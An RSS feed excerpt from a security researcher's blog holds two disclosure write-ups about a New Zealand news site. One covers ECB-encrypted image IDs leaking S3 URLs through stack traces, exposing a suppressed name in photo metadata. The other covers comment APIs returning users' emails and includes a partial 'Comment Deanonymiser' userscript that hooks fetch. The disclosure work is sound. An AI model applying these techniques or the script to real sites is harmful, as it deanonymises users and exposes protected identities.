&lt;/small></description></item><item><title>Encryption, Stacktraces, and Name Suppression</title><link>https://jesse.hacks.nz/p/encryption-stacktraces-and-name-suppression/</link><pubDate>Mon, 18 Mar 2024 04:00:00 +0000</pubDate><guid>https://jesse.hacks.nz/p/encryption-stacktraces-and-name-suppression/</guid><description>&lt;img src="https://jesse.hacks.nz/p/encryption-stacktraces-and-name-suppression/eilis-garvey-fhOQfT1eVEA-unsplash.jpg" alt="Featured image of post Encryption, Stacktraces, and Name Suppression" />&lt;h2 id="introduction">Introduction
&lt;/h2>&lt;p>All images served up for this news website&amp;rsquo;s articles are served up the endpoint &lt;code>https://www.website-name.co.nz/media/images/ID&lt;/code> where &lt;code>ID&lt;/code> is some long base64-encoded value.
Here&amp;rsquo;s an example from an article on the front page as of the time of writing:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">https://www.website-name.co.nz/media/images/9Tzi8ywRz924XE3uHaD6DZ3Ef+IdbOiYlvIROR5vlqUeRrexTocZGobKRJ9od%2Fgnk3B%2FCeKTmTAsIjj6Q0YaYcLyRwausPZfVbc+6rgDXDwXj2ysufSzBX52yG5ththUqe3QWSNvUpnWA5sdvhQBENmqBcVGXqc3GzobcuKW3cc+Gasjmk9JNPTGHx5HANypmSPLUVP3hLDnjMERdZWzoFbgjIRiiOrUEmcSFb%2Fd8LM=?resolution=620x350
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>This endpoint appears to also be doing some resizing of the image.
This is all well and good and is in fact, common practice.&lt;/p>
&lt;p>However, if we take the base64 ID and change it manually - let&amp;rsquo;s say we change the first character to a &lt;code>0&lt;/code> - then instead of a boring error page we are met with a very intesting stacktrace:&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/002/stacktrace.png">&lt;figcaption>
&lt;h4>The stacktrace from changing one character in the image ID.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-json" data-lang="json">&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;status&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;INTERNAL_SERVER_ERROR&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;message&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;Unexpected character (&amp;#39;�&amp;#39; (code 65533 / 0xfffd)): expected a valid value (JSON String, Number, Array, Object or token &amp;#39;null&amp;#39;, &amp;#39;true&amp;#39; or &amp;#39;false&amp;#39;)\n at [Source: (String)\&amp;#34;�\\u0008��O��퉢�!�\\u0011\\u0013i\\u000B/platform-admin-media.website-name.co.nz/s3fs-public/2024-03/0WTdm6qIbf9bACLSvn1XSp8oqPc_0.jpg?VersionId=meSADsuNl6BRJyf0Oq61Lr7PSVRvAOwQ\&amp;#34;,\&amp;#34;mode\&amp;#34;:\&amp;#34;fill\&amp;#34;}\&amp;#34;; line: 1, column: 2]&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>We can tell a few things from the information here:&lt;/p>
&lt;ul>
&lt;li>The shape of this stacktrace tells us that this endpoint is likely written in Java.&lt;/li>
&lt;li>It looks like we have a partial URL in there that might contain the original image.&lt;/li>
&lt;li>And if that&amp;rsquo;s the case, then from &lt;code>s3fs-public&lt;/code> we can assume that there is an S3 bucket out there somewhere with all of the photos sitting in it.&lt;/li>
&lt;/ul>
&lt;p>So, what happens if we change a character later on in the ID?&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/002/stacktrace2.png">&lt;figcaption>
&lt;h4>The stacktrace after changing a character later on in the ID.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-json" data-lang="json">&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;status&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;INTERNAL_SERVER_ERROR&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;message&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;Illegal unquoted character ((CTRL-CHAR, code 30)): has to be escaped using backslash to be included in string value\n at [Source: (String)\&amp;#34;{\&amp;#34;image\&amp;#34;:\&amp;#34;https://platform-adminc¾2�\\u001E�i\\u0009T�-��\\u001DKnz/s�fs-public/2024-03/0WTdm6qIbf9bACLSvn1XSp8oqPc_0.jpg?VersionId=meSADsuNl6BRJyf0Oq61Lr7PSVRvAOwQ\&amp;#34;,\&amp;#34;mode\&amp;#34;:\&amp;#34;fill\&amp;#34;}\&amp;#34;; line: 1, column: 38]&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Hold on a minute! Let&amp;rsquo;s compare those URLs from each of these stacktraces:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">�\\u0008��O��퉢�!�\\u0011\\u0013i\\u000B/platform-admin-media.website-name.co.nz/s3fs-public/2024-03/0WTdm6qIbf9bACLSvn1XSp8oqPc_0.jpg
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">https://platform-adminc¾2�\\u001E�i\\u0009T�-��\\u001DKnz/s�fs-public/2024-03/0WTdm6qIbf9bACLSvn1XSp8oqPc_0.jpg
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Surely we can&amp;rsquo;t just stitch the good bits of each of these together to get a valid URL.
Oh goodness, &lt;a class="link" href="https://platform-admin-media.website-name.co.nz/s3fs-public/2024-03/0WTdm6qIbf9bACLSvn1XSp8oqPc_0.jpg" target="_blank" rel="noopener"
>we can!&lt;/a>&lt;/p>
&lt;h2 id="how-did-this-work">How Did This Work?
&lt;/h2>&lt;p>Based upon how the data in the stacktrace is returned, it appears that the big ID in the URL is in fact encrypted using some kind of ECB scheme.
Electronic code book, or ECB, is a method of encrypting data based on some secret key.
However, ECB encrypts chunks of the data independently from the others and so opens itself up to the kind of interrogation we have just performed.&lt;/p>
&lt;p>To learn more about ECB and why pretty much everything else is better than it, have a look at &lt;a class="link" href="https://crypto.stackexchange.com/a/227" target="_blank" rel="noopener"
>this Stack Exchange post&lt;/a>.&lt;/p>
&lt;p>As an aside: one could probably figure out what the secret key is and then maybe even use that to do some SSRF.&lt;/p>
&lt;h2 id="why-does-this-matter">Why Does This Matter?
&lt;/h2>&lt;p>In a nutshell: metadata. The images that are served up by this broken endpoint don&amp;rsquo;t contain any metadata at all; it has all been stripped out.
However, the original images contain &lt;em>all&lt;/em> the metadata. Take a look for yourself:&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/002/metadata.png">&lt;figcaption>
&lt;h4>The metadata viewed using onlineexifviewer.com.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>I know that this isn&amp;rsquo;t &lt;em>that&lt;/em> exciting but it does create some interesting opportunities.&lt;/p>
&lt;h2 id="breaking-the-law">Breaking the Law?
&lt;/h2>&lt;p>&lt;a class="link" href="https://www.districtcourts.govt.nz/about-the-courts/j/suppression-orders-balancing-individual-and-public-interests/" target="_blank" rel="noopener"
>Name supression&lt;/a> in New Zealand is meant to keep identifiable information of certain people out of the media. This can be either temporary or permanent and is often granted when it is determined that having their name and details published would result in extreme hardship.&lt;/p>
&lt;p>Take an article where a local nurse has gained name interim suppression as an example.
It an includes an image that we can pull the metadata from by using our little trick.&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/002/whoops.png">&lt;figcaption>
&lt;h4>Whoops!&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>And this metadata includes this man&amp;rsquo;s full name.
Since this is unintentional I don&amp;rsquo;t believe that this would count as breaking the law in this instance (however, I&amp;rsquo;m no lawyer 🤷).&lt;/p>
&lt;h2 id="disclosure">Disclosure
&lt;/h2>&lt;p>There was really only one failing here: never show the end user a stacktrace! (and if you do, then don&amp;rsquo;t use ECB to encrypt your URLs!)&lt;/p>
&lt;p>I reported this to the website&amp;rsquo;s owners on Sunday the 17th of March 2024 at 9:30am with specific mention of the name suppression issue.
By 1:00pm that same day the image was removed from the article and the root cause was addressed the very next day.
Now, messing with the URL gives a generic error page.
Fantastic!&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/002/fixed.png">&lt;figcaption>
&lt;h4>The new error page.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;small>
Cover photo by &lt;a href="https://unsplash.com/@eilisgarvey?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Eilis Garvey&lt;/a> on &lt;a href="https://unsplash.com/photos/brown-wooden-book-shelf-with-books-fhOQfT1eVEA?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Unsplash&lt;/a>
&lt;/small></description></item><item><title>Lifting PII from a News Website's Comment Section</title><link>https://jesse.hacks.nz/p/lifting-pii-from-a-news-websites-comment-section/</link><pubDate>Sun, 11 Feb 2024 06:08:56 +0000</pubDate><guid>https://jesse.hacks.nz/p/lifting-pii-from-a-news-websites-comment-section/</guid><description>&lt;img src="https://jesse.hacks.nz/p/lifting-pii-from-a-news-websites-comment-section/ashni-Wh9ZC4727e4-unsplash.jpg" alt="Featured image of post Lifting PII from a News Website's Comment Section" />&lt;p>&lt;a class="link" href="#update-2024-05-17" >Update (2024-05-17): The problem has been properly fixed.&lt;/a>&lt;/p>
&lt;h2 id="introduction">Introduction
&lt;/h2>&lt;p>For better or worse, this news website is one of New Zealand&amp;rsquo;s most popular online news sources.
Its comment section has also garnered a reputation for being one of the most toxic places on the kiwi internet that grandma is likely to stumble across.&lt;/p>
&lt;p>About one month ago, this website had a frontend redesign and I made a mental note to have a poke around to see if there were any security flaws.
Website redesigns are usually a good source of bugs since so much is changed at once and so the likelihood of something being missed is high.
This redesign was no exception; I managed to find three issues with this new website.&lt;/p>
&lt;p>&lt;del>I will discuss only one of these issues here since there appears to be a mitigation in place for it. The other issues are still being fixed.&lt;/del>
Update: This is no longer the case, see &lt;a class="link" href="https://jesse.hacks.nz/p/encryption-stacktraces-and-name-suppression" >Encryption, Stack Traces, and Name Suppression&lt;/a> for another problem that has since been fixed.&lt;/p>
&lt;h2 id="your-email-address-is-public">Your Email Address is Public
&lt;/h2>&lt;p>This website requires that you create an account before commenting on their stories.
This is good since it provides them an easy way to moderate content.
When you create an account, you are also given a so-called &amp;ldquo;commenting username&amp;rdquo; that is used as your handle when you make a comment.&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/001/commenting-username.png">&lt;figcaption>
&lt;h4>As you can see, I have no way of changing my own handle either.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>This website doesn&amp;rsquo;t run its own commenting system.
Instead it uses a 3rd-party service named &lt;a class="link" href="https://coralproject.net/" target="_blank" rel="noopener"
>Coral&lt;/a> to handle all of the comments.
This is useful, since they don&amp;rsquo;t have to maintain an entire commenting system.
On the other hand, they lose a bit of flexibility and control over what is returned from Coral.&lt;/p>
&lt;p>So, what &lt;em>is&lt;/em> returned from Coral?
It turns out that not only does the &amp;ldquo;commenting username&amp;rdquo; get returned, but also the email that the user signed up with is likely returned as well.
This poses a problem for this news website; I bet their users weren&amp;rsquo;t expecting that.&lt;/p>
&lt;h2 id="proving-the-point">Proving the Point
&lt;/h2>&lt;p>I can&amp;rsquo;t very well file a bug report without creating a proof-of-concept to really drive home how badly this misconfiguration really is.
So, I introduce to you, the &lt;strong>Comment Deanonymiser&lt;/strong> userscript (see &lt;a class="link" href="https://www.tampermonkey.net/" target="_blank" rel="noopener"
>TamperMonkey&lt;/a> for more information about userscripts).&lt;/p>
&lt;details>
&lt;summary>Click to Expand the Source Code&lt;/summary>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt"> 10
&lt;/span>&lt;span class="lnt"> 11
&lt;/span>&lt;span class="lnt"> 12
&lt;/span>&lt;span class="lnt"> 13
&lt;/span>&lt;span class="lnt"> 14
&lt;/span>&lt;span class="lnt"> 15
&lt;/span>&lt;span class="lnt"> 16
&lt;/span>&lt;span class="lnt"> 17
&lt;/span>&lt;span class="lnt"> 18
&lt;/span>&lt;span class="lnt"> 19
&lt;/span>&lt;span class="lnt"> 20
&lt;/span>&lt;span class="lnt"> 21
&lt;/span>&lt;span class="lnt"> 22
&lt;/span>&lt;span class="lnt"> 23
&lt;/span>&lt;span class="lnt"> 24
&lt;/span>&lt;span class="lnt"> 25
&lt;/span>&lt;span class="lnt"> 26
&lt;/span>&lt;span class="lnt"> 27
&lt;/span>&lt;span class="lnt"> 28
&lt;/span>&lt;span class="lnt"> 29
&lt;/span>&lt;span class="lnt"> 30
&lt;/span>&lt;span class="lnt"> 31
&lt;/span>&lt;span class="lnt"> 32
&lt;/span>&lt;span class="lnt"> 33
&lt;/span>&lt;span class="lnt"> 34
&lt;/span>&lt;span class="lnt"> 35
&lt;/span>&lt;span class="lnt"> 36
&lt;/span>&lt;span class="lnt"> 37
&lt;/span>&lt;span class="lnt"> 38
&lt;/span>&lt;span class="lnt"> 39
&lt;/span>&lt;span class="lnt"> 40
&lt;/span>&lt;span class="lnt"> 41
&lt;/span>&lt;span class="lnt"> 42
&lt;/span>&lt;span class="lnt"> 43
&lt;/span>&lt;span class="lnt"> 44
&lt;/span>&lt;span class="lnt"> 45
&lt;/span>&lt;span class="lnt"> 46
&lt;/span>&lt;span class="lnt"> 47
&lt;/span>&lt;span class="lnt"> 48
&lt;/span>&lt;span class="lnt"> 49
&lt;/span>&lt;span class="lnt"> 50
&lt;/span>&lt;span class="lnt"> 51
&lt;/span>&lt;span class="lnt"> 52
&lt;/span>&lt;span class="lnt"> 53
&lt;/span>&lt;span class="lnt"> 54
&lt;/span>&lt;span class="lnt"> 55
&lt;/span>&lt;span class="lnt"> 56
&lt;/span>&lt;span class="lnt"> 57
&lt;/span>&lt;span class="lnt"> 58
&lt;/span>&lt;span class="lnt"> 59
&lt;/span>&lt;span class="lnt"> 60
&lt;/span>&lt;span class="lnt"> 61
&lt;/span>&lt;span class="lnt"> 62
&lt;/span>&lt;span class="lnt"> 63
&lt;/span>&lt;span class="lnt"> 64
&lt;/span>&lt;span class="lnt"> 65
&lt;/span>&lt;span class="lnt"> 66
&lt;/span>&lt;span class="lnt"> 67
&lt;/span>&lt;span class="lnt"> 68
&lt;/span>&lt;span class="lnt"> 69
&lt;/span>&lt;span class="lnt"> 70
&lt;/span>&lt;span class="lnt"> 71
&lt;/span>&lt;span class="lnt"> 72
&lt;/span>&lt;span class="lnt"> 73
&lt;/span>&lt;span class="lnt"> 74
&lt;/span>&lt;span class="lnt"> 75
&lt;/span>&lt;span class="lnt"> 76
&lt;/span>&lt;span class="lnt"> 77
&lt;/span>&lt;span class="lnt"> 78
&lt;/span>&lt;span class="lnt"> 79
&lt;/span>&lt;span class="lnt"> 80
&lt;/span>&lt;span class="lnt"> 81
&lt;/span>&lt;span class="lnt"> 82
&lt;/span>&lt;span class="lnt"> 83
&lt;/span>&lt;span class="lnt"> 84
&lt;/span>&lt;span class="lnt"> 85
&lt;/span>&lt;span class="lnt"> 86
&lt;/span>&lt;span class="lnt"> 87
&lt;/span>&lt;span class="lnt"> 88
&lt;/span>&lt;span class="lnt"> 89
&lt;/span>&lt;span class="lnt"> 90
&lt;/span>&lt;span class="lnt"> 91
&lt;/span>&lt;span class="lnt"> 92
&lt;/span>&lt;span class="lnt"> 93
&lt;/span>&lt;span class="lnt"> 94
&lt;/span>&lt;span class="lnt"> 95
&lt;/span>&lt;span class="lnt"> 96
&lt;/span>&lt;span class="lnt"> 97
&lt;/span>&lt;span class="lnt"> 98
&lt;/span>&lt;span class="lnt"> 99
&lt;/span>&lt;span class="lnt">100
&lt;/span>&lt;span class="lnt">101
&lt;/span>&lt;span class="lnt">102
&lt;/span>&lt;span class="lnt">103
&lt;/span>&lt;span class="lnt">104
&lt;/span>&lt;span class="lnt">105
&lt;/span>&lt;span class="lnt">106
&lt;/span>&lt;span class="lnt">107
&lt;/span>&lt;span class="lnt">108
&lt;/span>&lt;span class="lnt">109
&lt;/span>&lt;span class="lnt">110
&lt;/span>&lt;span class="lnt">111
&lt;/span>&lt;span class="lnt">112
&lt;/span>&lt;span class="lnt">113
&lt;/span>&lt;span class="lnt">114
&lt;/span>&lt;span class="lnt">115
&lt;/span>&lt;span class="lnt">116
&lt;/span>&lt;span class="lnt">117
&lt;/span>&lt;span class="lnt">118
&lt;/span>&lt;span class="lnt">119
&lt;/span>&lt;span class="lnt">120
&lt;/span>&lt;span class="lnt">121
&lt;/span>&lt;span class="lnt">122
&lt;/span>&lt;span class="lnt">123
&lt;/span>&lt;span class="lnt">124
&lt;/span>&lt;span class="lnt">125
&lt;/span>&lt;span class="lnt">126
&lt;/span>&lt;span class="lnt">127
&lt;/span>&lt;span class="lnt">128
&lt;/span>&lt;span class="lnt">129
&lt;/span>&lt;span class="lnt">130
&lt;/span>&lt;span class="lnt">131
&lt;/span>&lt;span class="lnt">132
&lt;/span>&lt;span class="lnt">133
&lt;/span>&lt;span class="lnt">134
&lt;/span>&lt;span class="lnt">135
&lt;/span>&lt;span class="lnt">136
&lt;/span>&lt;span class="lnt">137
&lt;/span>&lt;span class="lnt">138
&lt;/span>&lt;span class="lnt">139
&lt;/span>&lt;span class="lnt">140
&lt;/span>&lt;span class="lnt">141
&lt;/span>&lt;span class="lnt">142
&lt;/span>&lt;span class="lnt">143
&lt;/span>&lt;span class="lnt">144
&lt;/span>&lt;span class="lnt">145
&lt;/span>&lt;span class="lnt">146
&lt;/span>&lt;span class="lnt">147
&lt;/span>&lt;span class="lnt">148
&lt;/span>&lt;span class="lnt">149
&lt;/span>&lt;span class="lnt">150
&lt;/span>&lt;span class="lnt">151
&lt;/span>&lt;span class="lnt">152
&lt;/span>&lt;span class="lnt">153
&lt;/span>&lt;span class="lnt">154
&lt;/span>&lt;span class="lnt">155
&lt;/span>&lt;span class="lnt">156
&lt;/span>&lt;span class="lnt">157
&lt;/span>&lt;span class="lnt">158
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-javascript" data-lang="javascript">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// ==UserScript==
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// @name Comment Deanonymiser
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// @namespace https://jesse.hacks.nz/
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// @version 2024-02-07
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// @description Shows authors&amp;#39; and commenters&amp;#39; email address where available.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// @author Jesse Sheehan
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// @match https://www.website-name.co.nz/*
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// @grant none
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// @run-at document-start
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// ==/UserScript==
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">(&lt;/span>&lt;span class="kd">function&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;use strict&amp;#39;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">log&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">console&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">log&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">comments&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[];&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">let&lt;/span> &lt;span class="nx">pollHandle&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">null&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">let&lt;/span> &lt;span class="nx">commentRoot&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">null&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">originalFetch&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">fetch&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">window&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">fetch&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kr">async&lt;/span> &lt;span class="kd">function&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">response&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kr">await&lt;/span> &lt;span class="nx">originalFetch&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">apply&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="k">this&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">arguments&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">url&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="k">new&lt;/span> &lt;span class="nx">URL&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">response&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">url&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">url&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">pathname&lt;/span> &lt;span class="o">===&lt;/span> &lt;span class="s2">&amp;#34;/api/graphql&amp;#34;&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="nx">url&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">hostname&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">includes&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;.coral.coralproject.net&amp;#34;&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">content&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kr">await&lt;/span> &lt;span class="nx">response&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">json&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">response&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">json&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kd">function&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="k">new&lt;/span> &lt;span class="nb">Promise&lt;/span>&lt;span class="p">((&lt;/span>&lt;span class="nx">resolve&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="nx">resolve&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">content&lt;/span>&lt;span class="p">));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">};&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">content&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="nx">content&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">data&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="nx">content&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">data&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">story&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="nx">content&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">data&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">story&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">comments&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="nx">content&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">data&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">story&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">comments&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">edges&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">edges&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">content&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">data&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">story&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">comments&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">edges&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// log(&amp;#34;handling edges&amp;#34;, edges);
